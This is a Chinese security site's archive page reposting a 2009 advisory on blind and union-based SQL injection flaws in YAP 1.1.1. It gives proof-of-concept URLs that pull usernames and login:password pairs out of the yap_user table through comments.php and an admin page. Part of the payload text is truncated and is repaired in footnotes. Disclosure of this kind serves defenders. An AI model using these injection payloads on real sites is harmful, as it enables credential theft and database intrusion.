首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
0day :: oday

YAP 1.1.1 Blind SQL Injection/SQL Injection Vulnerabilities


(略)
#######################################################################################################
[ ] YAP 1.1.1 Blind SQL Injection/SQL Injection
[ ] Discovered By SirGod
[ ] www.mortal-team.org
[ ] www.h4cky0u.org
########################################################################################################

[ ] Blind SQL Injection

The default prefix for database tables is "yap_" .But can be changed
at installation.

PoC :

http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring[1]>97

First character of the username is char(97) , is "a" .

http://127.0.0.1/[path]/comments.php?image_id=1 and ascii(substring[2]>100

Second character of the username is char(100) ,is "d" .

And so on...Change the limit to go to the next char.


[ ] SQL Injection

- Need to be logged in as administrator.

http://127.0.0.1/[path]/admin/index.php?page=users_modif&action=modif&user=null union all select concat_ws(0x3a,login,pass),2 from yap_user where id=1--

#########################################################################################################

[2009-03-16]
附注
  1. SELECT concat(login,0x3a,pass) from yap_user limit 0,1),1,1
  2. SELECT concat(login,0x3a,pass) from yap_user limit 0,1),2,1
<< MediaCoder 0.6.2.4275 (m3u File) Universal Stack Overflow Exploit Beerwin's PHPLinkAdmin 1.0 RFI/SQL Injection Vulnerabilities >>
API:
gipsky.com & 安信网络

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号